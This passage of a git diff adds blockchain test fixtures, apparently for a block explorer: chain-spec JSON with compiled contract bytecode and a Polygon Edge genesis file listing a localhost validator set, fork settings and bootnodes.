a565b610a18600061152c565b60405133906001600160a01b038316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350565b6005546000906001600160a01b0316801580610b0e575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b158015610ae157600080fd5b505afa158015610af5573d6000803e3d6000fd5b505050506040513d6020811015610b0b57600080fd5b50515b610b4b576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b61058261154e565b6000610b5d6114fb565b905090565b60055460009081908190819081906001600160a01b0316801580610c27575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b158015610bfa57600080fd5b505afa158015610c0e573d6000803e3d6000fd5b505050506040513d6020811015610c2457600080fd5b50515b610c64576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b6002546001600160a01b0316610caf576040805162461bcd60e51b815260206004820152601e6024820152600080516020611b2c833981519152604482015290519081900360640190fd5b610cb76115a1565b95509550955095509550509091929394565b610cd233611697565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b60055460009081908190819081906001600160a01b0316801580610db9575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b158015610d8c57600080fd5b505afa158015610da0573d6000803e3d6000fd5b505050506040513d6020811015610db657600080fd5b50515b610df6576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b61073b87611700565b610e0833611697565b6002546001600160a01b03828116911614610e68576040805162461bcd60e51b815260206004820152601b60248201527a24b73b30b634b210383937b837b9b2b21030b3b3b932b3b0ba37b960291b604482015290519081900360640190fd5b600454600280546001600160a01b03191690556201000090046001600160a01b0316610e93826117f9565b816001600160a01b0316816001600160a01b03167f33745f67a407dcb785417f9c123dd3641479a102674b6e35c1f10975625b90e960405160405180910390a35050565b6005546000906001600160a01b0316801580610f94575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b158015610f6757600080fd5b505afa158015610f7b573d6000803e3d6000fd5b505050506040513d6020811015610f9157600080fd5b50515b610fd1576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b610fda83611868565b9392505050565b6005546000906001600160a01b031680158061109e575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b15801561107157600080fd5b505afa158015611085573d6000803e3d6000fd5b505050506040513d602081101561109b57600080fd5b50515b6110db576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b610fda83611942565b6005546001600160a01b031681565b61ffff81166000908152600360205260409020546001600160a01b03165b919050565b6002546001600160a01b031690565b61112e33611697565b6111378161152c565b806001600160a01b03166111496114fb565b6001600160a01b03167fed8889f560326eb138920d842192f0eb3dd22b4f139c87a2c57538e05bae127860405160405180910390a350565b61118a33611697565b600280546001600160a01b0319166001600160a01b0383811691821790925560045460405191926201000090910416907fc0f151710f03d713b71d9970cee0d5b11ddc9a7552abaa3f6ee818010f21600d90600090a350565b60055460009081908190819081906001600160a01b03168015806112a8575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b15801561127b57600080fd5b505afa15801561128f573d6000803e3d6000fd5b505050506040513d60208110156112a557600080fd5b50515b6112e5576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b610cb76119e7565b6000600460000160029054906101000a90046001600160a01b03166001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561044f57600080fd5b60025460009081908190819081906001600160a01b0316611396576040805162461bcd60e51b815260206004820152601e6024820152600080516020611b2c833981519152604482015290519081900360640190fd5b60025460408051639a6fc8f560e01b81526001600160501b038916600482015290516001600160a01b0390921691639a6fc8f59160248082019260a092909190829003018186803b1580156113ea57600080fd5b505afa1580156113fe573d6000803e3d6000fd5b505050506040513d60a081101561141457600080fd5b508051602082015160408301516060840151608090940151929a91995097509195509350915050565b6000611447611b14565b506040805180820182526004805461ffff8116808452620100009091046001600160a01b031660208085018290528551633345078160e11b8152955194956114dd959394929363668a0f02938281019392829003018186803b1580156114ac57600080fd5b505afa1580156114c0573d6000803e3d6000fd5b505050506040513d60208110156114d657600080fd5b5051611abc565b6001600160501b031691505090565b6001546001600160a01b031690565b6000546001600160a01b031690565b600080546001600160a01b0319166001600160a01b0392909216919091179055565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000600460000160029054906101000a90046001600160a01b03166001600160a01b0316638205bf6a6040518163ffffffff1660e01b815260040160206040518083038186803b15801561044f57600080fd5b60025460009081908190819081906001600160a01b03166115f7576040805162461bcd60e51b815260206004820152601e6024820152600080516020611b2c833981519152604482015290519081900360640190fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561164557600080fd5b505afa158015611659573d6000803e3d6000fd5b505050506040513d60a081101561166f57600080fd5b5080516020820151604083015160608401516080909401519299919850965091945092509050565b61169f6114fb565b6001600160a01b0316816001600160a01b0316146116fd576040805162461bcd60e51b815260206004820152601660248201527527b7363c9031b0b63630b1363290313c9037bbb732b960511b604482015290519081900360640190fd5b50565b600080600080600080600061171d886001600160501b0316611ad6565b61ffff821660009081526003602052604090819020548151639a6fc8f560e01b81526001600160401b038416600482015291519395509193506001600160a01b0390911691639a6fc8f59160248082019260a092909190829003018186803b15801561178857600080fd5b505afa15801561179c573d6000803e3d6000fd5b505050506040513d60a08110156117b257600080fd5b508051602082015160408301516060840151608090940151929a50909850965090945092506117e5878787878787611ade565b939c929b5090995097509095509350505050565b60048054604080518082018252600161ffff80851691909101168082526001600160a01b0395909516602091820181905261ffff19909316851762010000600160b01b0319166201000084021790935560009384526003909252912080546001600160a01b0319169091179055565b60006001600160501b0382111561188157506000611111565b60008061188d84611ad6565b61ffff821660009081526003602052604090205491935091506001600160a01b0316806118c05760009350505050611111565b806001600160a01b031663b5ab58dc836040518263ffffffff1660e01b815260040180826001600160401b0316815260200191505060206040518083038186803b15801561190d57600080fd5b505afa158015611921573d6000803e3d6000fd5b505050506040513d602081101561193757600080fd5b505195945050505050565b60006001600160501b0382111561195b57506000611111565b60008061196784611ad6565b61ffff821660009081526003602052604090205491935091506001600160a01b03168061199a5760009350505050611111565b806001600160a01b031663b633620c836040518263ffffffff1660e01b815260040180826001600160401b0316815260200191505060206040518083038186803b15801561190d57600080fd5b60008060008060006119f7611b14565b506040805180820182526004805461ffff811683526201000090046001600160a01b0316602083018190528351633fabe5a360e21b815293519293909263feaf968c928281019260a0929190829003018186803b158015611a5757600080fd5b505afa158015611a6b573d6000803e3d6000fd5b505050506040513d60a0811015611a8157600080fd5b5080516020820151604083015160608401516080909401518551939a509198509650919450909250610cb79087908790879087908790611ade565b6001600160401b031660409190911b61ffff60401b161790565b604081901c91565b6000806000806000611af0868c611abc565b8a8a8a611afd8a8c611abc565b939f929e50909c509a509098509650505050505050565b60408051808201909152600080825260208201529056fe4e6f2070726f706f7365642061676772656761746f722070726573656e740000a2646970667358221220e01c79ee01ff8ee5600a342cb2ed15231329d7f3f090fbe7605e1dc18906a86964736f6c634300060c0033", + "storage": { + "0000000000000000000000000000000000000000000000000000000000000000": "3e074f864b15132401dc85371a683a7a02e61059", + "0000000000000000000000000000000000000000000000000000000000000004": "8ce8c13d816fe6daf12d6fd9e4952e1fc88850af0001", + "a15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c": "8ce8c13d816fe6daf12d6fd9e4952e1fc88850af" + } + }, + "fefd3451e86c275a499e4d4b9efe5424ef2ab86e": { + "nonce": "1", + "balance": "1" + } + } +} \ No newline at end of file diff --git a/apps/explorer/test/support/fixture/chain_spec/polygon_genesis.json b/apps/explorer/test/support/fixture/chain_spec/polygon_genesis.json new file mode 100644 index 000000000000..7a338caa78bc --- /dev/null +++ b/apps/explorer/test/support/fixture/chain_spec/polygon_genesis.json @@ -0,0 +1,108 @@ +{ + "name": "polygon-edge", + "genesis": { + "nonce": "0x0000000000000000", + "timestamp": "0x0", + "extraData": "0x0000000000000000000000000000000000000000000000000000000000000000f90305f90299f90294f8a39461324166b0202db1e7502924326262274fa4358fb88006d8d9e6af67c28e85ac400b72c2e635e83234f8a380865e050a206554049a222c4792120d84977a6ca669df56ff3a1cf1cfeccddb650e7aacff4ed6c1d4e37b055858209f80117b3c0a6e7a28e456d4caf2270f430f9df2ba37221f23e9bbd313c9ef488e1849cc5c40d18284d019dde5ed86770309b9c24b70ceff6167a6ca8ad3c21bcecceda100000001f8a394fe5e166ba5ea50c04fca00b07b59966e6c2e9570b8800601da8856a6d3d3bb0f3bcbb90ea7b8c0db8271b9203e6123c6804aa3fc5f810be33287968ca1af2be11839516850a6ffef2337d99e679b7531efbbea2e3bf727a053c0cbede71da3d5f489b6ad862ccd8bb0bfb7fa379e3395d3b1142594a73020e87d63c298a3a4eba0ace65727f8659bab6389b9448b72512db72bbe937f8ad3c21bcecceda100000001f8a3949abb8441a12d4fd8d505c3fc50cddc45e0df2b1eb88017c26d9d91dddc3c1318b20a1ddb3322ea1f4e4415c27e9011d706e7407eed672837173d1909cbff6ccdfd110af3b18bdfea878e8120fdb5bae70dc7a044a2f40aa8f118b41704896f474f80fff52d9047fa8e4a464ac86f9d05a0220975d8440e20c6307d866137053cabd4baf6ba84bfa4a22f5f9297c1bfc2380c235352108ad3c21bcecceda100000001f8a394cab5aac79bebe326e0c80d72b5662e73f5d8ea56b8801d7bb7d44a2f0ebeae2f4380f88188080de34635d78a36647f0704c7b70de7291e2e3b9a1ef699a078c6cd9bb816ea2917c2c2fc699c6248f1f7812a167caf7e15361ec16df56d194768d57c79897c681c96f4321651464f7b577d08083d8b67213a1e29dc8495d8389e6cbd85fdd738c402a1801198b57b302e0e00dfaf12478ad3c21bcecceda100000001c080c0c0f8658080a00000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000", + "gasLimit": "0x989680", + "difficulty": "0x0", + "mixHash": "0xadce6e5230abe012342a44e4e9b6d05997d6f015387ae0e59be924afc7ec70c1", + "coinbase": "0x0000000000000000000000000000000000000000", + "alloc": { + "0x0000000000000000000000000000000000000101": { + "code": "0x608060405234801561001057600080fd5b50600436106101b05760003560e01c806370a08231116100ef578063ce513b6f11610092578063ce513b6f14610398578063dd62ed3e146103ab578063e0563ab1146103be578063ea0fee4f146103c7578063eacdc5ff146103cf578063eeb49945146103d8578063f3f43703146103eb578063fd242c14146103fe57600080fd5b806370a08231146102e7578063947287cf146102fa57806395d89b411461030357806397e5230d1461030b578063981b24d014610315578063a457c2d714610328578063a9059cbb1461033b578063c6b61e4c1461034e57600080fd5b8063395093511161015757806339509351146102735780633b878c22146102865780633ccfd60b1461028f5780633fd50001146102975780634ee2cd7e146102aa57806351351d53146102bd57806361cc2763146102cb57806362656003146102de57600080fd5b806306fdde03146101b5578063095ea7b3146101d35780630f50287c146101f657806318160ddd1461020b57806323b872dd1461021d578063284017f5146102305780632e17de7814610251578063313ce56714610264575b600080fd5b6101bd610411565b6040516101ca91906119ba565b60405180910390f35b6101e66101e13660046119e2565b6104a3565b60405190151581526020016101ca565b610209610204366004611a0e565b6104bd565b005b6035545b6040519081526020016101ca565b6101e661022b366004611a46565b61074f565b61023961202081565b6040516001600160a01b0390911681526020016101ca565b61020961025f366004611a87565b610773565b604051601281526020016101ca565b6101e66102813660046119e2565b61078a565b61023961101081565b6102096107ac565b61020f6102a5366004611a87565b6108bd565b61020f6102b83660046119e2565b6108de565b6102396002600160a01b0381565b6102096102d9366004611b10565b6108f1565b61020f60cc5481565b61020f6102f5366004611c29565b610b1f565b61020f61520881565b6101bd610b3a565b61020f620249f081565b61020f610323366004611a87565b610b49565b6101e66103363660046119e2565b610b54565b6101e66103493660046119e2565b610bcf565b61037d61035c366004611a87565b60ce6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101ca565b61020f6103a6366004611c29565b610bdd565b61020f6103b9366004611c46565b610c0b565b61023961203081565b61020f600181565b61020f60cd5481565b6102096103e6366004611c7f565b610c36565b61020f6103f9366004611c29565b610d08565b61020f61040c366004611a87565b610d2f565b60606036805461042090611d08565b80601f016020809104026020016040519081016040528092919081815260200182805461044c90611d08565b80156104995780601f1061046e57610100808354040283529160200191610499565b820191906000526020600020905b81548152906001019060200180831161047c57829003601f168201915b5050505050905090565b6000336104b1818585610d79565b60019150505b92915050565b336002600160a01b03146105065760405163973d02cb60e01b815260206004820152600a60248201526914d654d5115350d0531360b21b60448201526064015b60405180910390fd5b60cd80546000918261051783611d58565b9190505590508083146105625760405162461bcd60e51b815260206004820152601360248201527215539156141150d5115117d15413d0d217d251606a1b60448201526064016104fd565b81356020830135116105ac5760405162461bcd60e51b81526020600482015260136024820152721393d7d09313d0d2d4d7d0d3d3535255151151606a1b60448201526064016104fd565b60cc546105be83356020850135611d71565b6105c9906001611d84565b6105d39190611dad565b1561062e5760405162461bcd60e51b815260206004820152602560248201527f45504f43485f4d5553545f42455f444956495349424c455f42595f45504f43486044820152645f53495a4560d81b60648201526084016104fd565b813560ce600061063f600185611d71565b815260200190815260200160002060010154600161065d9190611d84565b146106a05760405162461bcd60e51b8152602060048201526013602482015272494e56414c49445f53544152545f424c4f434b60681b60448201526064016104fd565b600081815260ce6020526040902082906106d182828135815560208201356001820155604082013560028201555050565b505060cf80546001810182556000919091526020838101357facb8d954e2cfef495862221e91bd7523613cf8808827cb33edfe4904cc51bf299092018290556040805190850135815284359186917f0ce8712c4dee4bd5a691f0bc1c39594671591e77395f8ebf6a3fb5f63fbea66a910160405180910390a4505050565b60003361075d858285610e9e565b610768858585610f12565b506001949350505050565b61077d33826110b6565b61078733826111e1565b50565b6000336104b181858561079d8383610c0b565b6107a79190611d84565b610d79565b33600090815260d06020526040812060cd5490919081906107ce90849061125a565b808555604051828152919350915033907f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b659060200160405180910390a260c95460cb54604080517f8ca9a95e41b5eece253c93f5b31eed1253aed6b145d8a6e14d913fdf8e7322936020820152338183015260608082018790528251808303909101815260808201928390526316f1983160e01b9092526001600160a01b03938416936316f198319361088693911691608401611dc1565b600060405180830381600087803b1580156108a057600080fd5b505af11580156108b4573d6000803e3d6000fd5b50505050505050565b60cf81815481106108cd57600080fd5b600091825260209091200154905081565b60006108ea83836112cc565b9392505050565b600054610100900460ff16158080156109115750600054600160ff909116105b8061092b5750303b15801561092b575060005460ff166001145b61098e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016104fd565b6000805460ff1916600117905580156109b1576000805461ff0019166101001790555b6109fb6040518060400160405280600c81526020016b15985b1a59185d1bdc94d95d60a21b815250604051806040016040528060048152602001631594d15560e21b815250611315565b60c980546001600160a01b038089166001600160a01b03199283161790925560ca805488841690831617905560cb80549287169290911691909117905560cc83905560005b8251811015610a9557610a8d838281518110610a5e57610a5e611de5565b602002602001015160000151848381518110610a7c57610a7c611de5565b60200260200101516020015161134a565b600101610a40565b5060cf80546001818101835560009283527facb8d954e2cfef495862221e91bd7523613cf8808827cb33edfe4904cc51bf299091019190915560cd558015610b17576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050565b6001600160a01b031660009081526033602052604090205490565b60606037805461042090611d08565b60006104b782611354565b60003381610b628286610c0b565b905083811015610bc25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104fd565b6107688286868403610d79565b6000336104b1818585610f12565b60cd546001600160a01b038216600090815260d0602052604081209091610c04919061125a565b5092915050565b6001600160a01b03918216600090815260346020908152604080832093909416825291909152205490565b60ca546001600160a01b031633148015610c5d575060cb546001600160a01b038481169116145b610c9a5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a2a72222a960911b60448201526064016104fd565b7f1bcc0f4c3fad314e585165815f94ecca9b96690a26d6417d7876448a9a867a69610cc9602060008486611dfb565b610cd291611e25565b03610d0257600080610ce78360208187611dfb565b810190610cf491906119e2565b91509150610b17828261134a565b50505050565b60cd546001600160a01b038216600090815260d06020526040812090916104b7919061137f565b600081815260ce60205260408120600101548015610d7057600083815260ce6020526040902054610d609082611d71565b610d6b906001611d84565b6108ea565b60009392505050565b6001600160a01b038316610ddb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610e3c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526034602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6000610eaa8484610c0b565b90506000198114610d025781811015610f055760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104fd565b610d028484848403610d79565b6001600160a01b038316610f765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610fd85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b610fe383838361141d565b6001600160a01b0383166000908152603360205260409020548181101561105b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104fd565b6001600160a01b038085166000818152603360205260408082208686039055928616808252908390208054860190559151600080516020611fd6833981519152906110a99086815260200190565b60405180910390a3610d02565b6001600160a01b0382166111165760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016104fd565b6111228260008361141d565b6001600160a01b038216600090815260336020526040902054818110156111965760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016104fd565b6001600160a01b0383166000818152603360209081526040808320868603905560358054879003905551858152919291600080516020611fd68339815191529101610e91565b505050565b61121381600160cd546111f49190611d84565b6001600160a01b038516600090815260d0602052604090209190611486565b816001600160a01b03167f655c1cd0236fb6dc4916f34c8ff10e3b18fcaea5b344dfc16c36fbb1bdfc5df28260405161124e91815260200190565b60405180910390a25050565b81546000905b83600101548110156112c5576000818152600285016020908152604091829020825180840190935280548352600101549082018190528410156112a357506112c5565b80516112af9084611d84565b92505080806112bd90611d58565b915050611260565b9250929050565b6001600160a01b0382166000908152606560205260408120819081906112f39085906115b1565b915091508161130a5761130585610b1f565b61130c565b805b95945050505050565b600054610100900460ff1661133c5760405162461bcd60e51b81526004016104fd90611e43565b611346828261169f565b5050565b61134682826116df565b60008060006113648460666115b1565b915091508161137557603554611377565b805b949350505050565b60018201546000908082036113985760009150506104b7565b60006113a5600183611d71565b90505b845481106114155760008181526002860160209081526040918290208251808401909352805483526001015490820181905285106113e65750611415565b80516113f29085611d84565b9350816000036114025750611415565b508061140d81611e8e565b9150506113a8565b505092915050565b6001600160a01b038316158061143a57506001600160a01b038216155b61147b5760405162461bcd60e51b81526020600482015260126024820152712a2920a729a322a92fa327a92124a22222a760711b60448201526064016104fd565b6111dc83838361179a565b8160000361149657611496611ea5565b825460018401548181036114ed576040805180820182528581526020808201868152600085815260028a0190925292812091518255915160019182015586018054916114e183611d58565b91905055505050505050565b600060028601816114ff600185611d71565b81526020019081526020016000206001015490508084101561152357611523611ea5565b83811015611572576040805180820182528681526020808201878152600086815260028b01909252928120915182559151600191820155870180549161156883611d58565b9190505550610b17565b84600287016000611584600186611d71565b815260200190815260200160002060000160008282546115a49190611d84565b9091555050505050505050565b600080600084116115fd5760405162461bcd60e51b815260206004820152601660248201527504552433230536e617073686f743a20696420697320360541b60448201526064016104fd565b60cd5484111561164f5760405162461bcd60e51b815260206004820152601d60248201527f4552433230536e617073686f743a206e6f6e6578697374656e7420696400000060448201526064016104fd565b600061165b84866117e2565b845490915081036116735760008092509250506112c5565b600184600101828154811061168a5761168a611de5565b906000526020600020015492509250506112c5565b600054610100900460ff166116c65760405162461bcd60e51b81526004016104fd90611e43565b60366116d28382611f01565b5060376111dc8282611f01565b6001600160a01b0382166117355760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104fd565b6117416000838361141d565b80603560008282546117539190611d84565b90915550506001600160a01b038216600081815260336020908152604080832080548601905551848152600080516020611fd6833981519152910160405180910390a35050565b6001600160a01b0383166117b9576117b18261188f565b6111dc6118b9565b6001600160a01b0382166117d0576117b18361188f565b6117d98361188f565b6111dc8261188f565b815460009081036117f5575060006104b7565b82546000905b8082101561184257600061180f83836118c9565b6000878152602090209091508590820154111561182e5780915061183c565b611839816001611d84565b92505b506117fb565b60008211801561186e57508361186b8661185d600186611d71565b600091825260209091200190565b54145b156118875761187e600183611d71565b925050506104b7565b5090506104b7565b6001600160a01b0381166000908152606560205260409020610787906118b483610b1f565b6118e4565b6118c760666118b460355490565b565b60006118d86002848418611fc1565b6108ea90848416611d84565b60006118ef60cd5490565b9050806118fb8461192f565b10156111dc578254600180820185556000858152602080822090930193909355938401805494850181558252902090910155565b8054600090810361194257506000919050565b8154829061195290600190611d71565b8154811061196257611962611de5565b90600052602060002001549050919050565b6000815180845260005b8181101561199a5760208185018101518683018201520161197e565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006108ea6020830184611974565b6001600160a01b038116811461078757600080fd5b600080604083850312156119f557600080fd5b8235611a00816119cd565b946020939093013593505050565b6000808284036080811215611a2257600080fd5b833592506060601f1982011215611a3857600080fd5b506020830190509250929050565b600080600060608486031215611a5b57600080fd5b8335611a66816119cd565b92506020840135611a76816119cd565b929592945050506040919091013590565b600060208284031215611a9957600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff81118282101715611ad957611ad9611aa0565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611b0857611b08611aa0565b604052919050565b600080600080600060a08688031215611b2857600080fd5b8535611b33816119cd565b9450602086810135611b44816119cd565b9450604087810135611b55816119cd565b945060608801359350608088013567ffffffffffffffff80821115611b7957600080fd5b818a0191508a601f830112611b8d57600080fd5b813581811115611b9f57611b9f611aa0565b611bad858260051b01611adf565b818152858101925060069190911b83018501908c821115611bcd57600080fd5b928501925b81841015611c165784848e031215611bea5760008081fd5b611bf2611ab6565b8435611bfd816119cd565b8152848701358782015283529284019291850191611bd2565b8096505050505050509295509295909350565b600060208284031215611c3b57600080fd5b81356108ea816119cd565b60008060408385031215611c5957600080fd5b8235611c64816119cd565b91506020830135611c74816119cd565b809150509250929050565b60008060008060608587031215611c9557600080fd5b843593506020850135611ca7816119cd565b9250604085013567ffffffffffffffff80821115611cc457600080fd5b818701915087601f830112611cd857600080fd5b813581811115611ce757600080fd5b886020828501011115611cf957600080fd5b95989497505060200194505050565b600181811c90821680611d1c57607f821691505b602082108103611d3c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600060018201611d6a57611d6a611d42565b5060010190565b818103818111156104b7576104b7611d42565b808201808211156104b7576104b7611d42565b634e487b7160e01b600052601260045260246000fd5b600082611dbc57611dbc611d97565b500690565b6001600160a01b038316815260406020820181905260009061137790830184611974565b634e487b7160e01b600052603260045260246000fd5b60008085851115611e0b57600080fd5b83861115611e1857600080fd5b5050820193919092039150565b803560208310156104b757600019602084900360031b1b1692915050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b600081611e9d57611e9d611d42565b506000190190565b634e487b7160e01b600052600160045260246000fd5b601f8211156111dc57600081815260208120601f850160051c81016020861015611ee25750805b601f850160051c820191505b81811015610b1757828155600101611eee565b815167ffffffffffffffff811115611f1b57611f1b611aa0565b611f2f81611f298454611d08565b84611ebb565b602080601f831160018114611f645760008415611f4c5750858301515b600019600386901b1c1916600185901b178555610b17565b600085815260208120601f198616915b82811015611f9357888601518255948401946001909101908401611f74565b5085821015611fb15787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082611fd057611fd0611d97565b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220ceae916e2fad24f9aaa4340b6994418d32d33c6ae1f266c50dd4ec5ccbdbce2764736f6c63430008130033", + "balance": "0x0" + }, + "0xFE5E166BA5EA50c04fCa00b07b59966E6C2E9570": { + "balance": "0xd3c21bcecceda1000000" + } + }, + "number": "0x0", + "gasUsed": "0x70000", + "parentHash": "0x0000000000000000000000000000000000000000000000000000000000000000", + "baseFee": "0x0", + "baseFeeEM": "0x0" + }, + "params": { + "forks": { + "homestead": 0, + "byzantium": 0, + "constantinople": 0, + "petersburg": 0, + "istanbul": 0, + "EIP150": 0, + "EIP158": 0, + "EIP155": 0 + }, + "chainID": 0, + "engine": { + "polybft": { + "initialValidatorSet": [ + { + "address": "0x61324166B0202DB1E7502924326262274Fa4358F", + "blsKey": "06d8d9e6af67c28e85ac400b72c2e635e83234f8a380865e050a206554049a222c4792120d84977a6ca669df56ff3a1cf1cfeccddb650e7aacff4ed6c1d4e37b055858209f80117b3c0a6e7a28e456d4caf2270f430f9df2ba37221f23e9bbd313c9ef488e1849cc5c40d18284d019dde5ed86770309b9c24b70ceff6167a6ca", + "balance": "0xf4240", + "stake": "0xd3c21bcecceda1000000", + "multiAddr": "/ip4/127.0.0.1/tcp/30301/p2p/16Uiu2HAmMYyzK7c649Tnn6XdqFLP7fpPB2QWdck1Ee9vj5a7Nhg8" + }, + { + "address": "0xFE5E166BA5EA50c04fCa00b07b59966E6C2E9570", + "blsKey": "0601da8856a6d3d3bb0f3bcbb90ea7b8c0db8271b9203e6123c6804aa3fc5f810be33287968ca1af2be11839516850a6ffef2337d99e679b7531efbbea2e3bf727a053c0cbede71da3d5f489b6ad862ccd8bb0bfb7fa379e3395d3b1142594a73020e87d63c298a3a4eba0ace65727f8659bab6389b9448b72512db72bbe937f", + "balance": "0xd3c21bcecceda1000000", + "stake": "0xd3c21bcecceda1000000", + "multiAddr": "/ip4/127.0.0.1/tcp/30302/p2p/16Uiu2HAmLXVapjR2Yx3B1taCmHnckQ1ph2xrawBjW2kvSErps9CX" + }, + { + "address": "0x9aBb8441A12d4FD8D505C3fc50cDdc45E0df2b1e", + "blsKey": "17c26d9d91dddc3c1318b20a1ddb3322ea1f4e4415c27e9011d706e7407eed672837173d1909cbff6ccdfd110af3b18bdfea878e8120fdb5bae70dc7a044a2f40aa8f118b41704896f474f80fff52d9047fa8e4a464ac86f9d05a0220975d8440e20c6307d866137053cabd4baf6ba84bfa4a22f5f9297c1bfc2380c23535210", + "balance": "0xd3c21bcecceda1000000", + "stake": "0xd3c21bcecceda1000000", + "multiAddr": "/ip4/127.0.0.1/tcp/30303/p2p/16Uiu2HAmGskf5sZ514Ab4SHTPuw8RRBQudyrU211wn3P1knRz9Ed" + }, + { + "address": "0xCaB5AAC79Bebe326e0c80d72b5662E73f5D8ea56", + "blsKey": "1d7bb7d44a2f0ebeae2f4380f88188080de34635d78a36647f0704c7b70de7291e2e3b9a1ef699a078c6cd9bb816ea2917c2c2fc699c6248f1f7812a167caf7e15361ec16df56d194768d57c79897c681c96f4321651464f7b577d08083d8b67213a1e29dc8495d8389e6cbd85fdd738c402a1801198b57b302e0e00dfaf1247", + "balance": "0xd3c21bcecceda1000000", + "stake": "0xd3c21bcecceda1000000", + "multiAddr": "/ip4/127.0.0.1/tcp/30304/p2p/16Uiu2HAm42EFMhJPGcMRFHPaWWxBzoEsWRbGxJnBHMu4VFojg99U" + } + ], + "bridge": null, + "epochSize": 10, + "epochReward": 1, + "sprintSize": 5, + "blockTime": "2s", + "governance": "0x61324166B0202DB1E7502924326262274Fa4358F", + "mintableNative": false, + "nativeTokenConfig": { + "name": "Polygon", + "symbol": "MATIC", + "decimals": 18 + }, + "initialTrieRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", + "maxValidatorSetSize": 9007199254740990, + "rewardConfig": { + "rewardTokenAddress": "0x0000000000000000000000000000000000001010", + "rewardWalletAddress": "0x61324166B0202DB1E7502924326262274Fa4358F", + "rewardWalletAmount": "0xf4240" + } + } + }, + "blockGasTarget": 0, + "transactionsAllowList": { + "adminAddresses": [ + "0x061324166B0202Db1E7502924326262274fa4358" + ], + "enabledAddresses": [ + "0x061324166B0202Db1E7502924326262274fa4358" + ] + }, + "burnContract": null + }, + "bootnodes": [ + "/ip4/127.0.0.1/tcp/30301/p2p/16Uiu2HAmMYyzK7c649Tnn6XdqFLP7fpPB2QWdck1Ee9vj5a7Nhg8", + 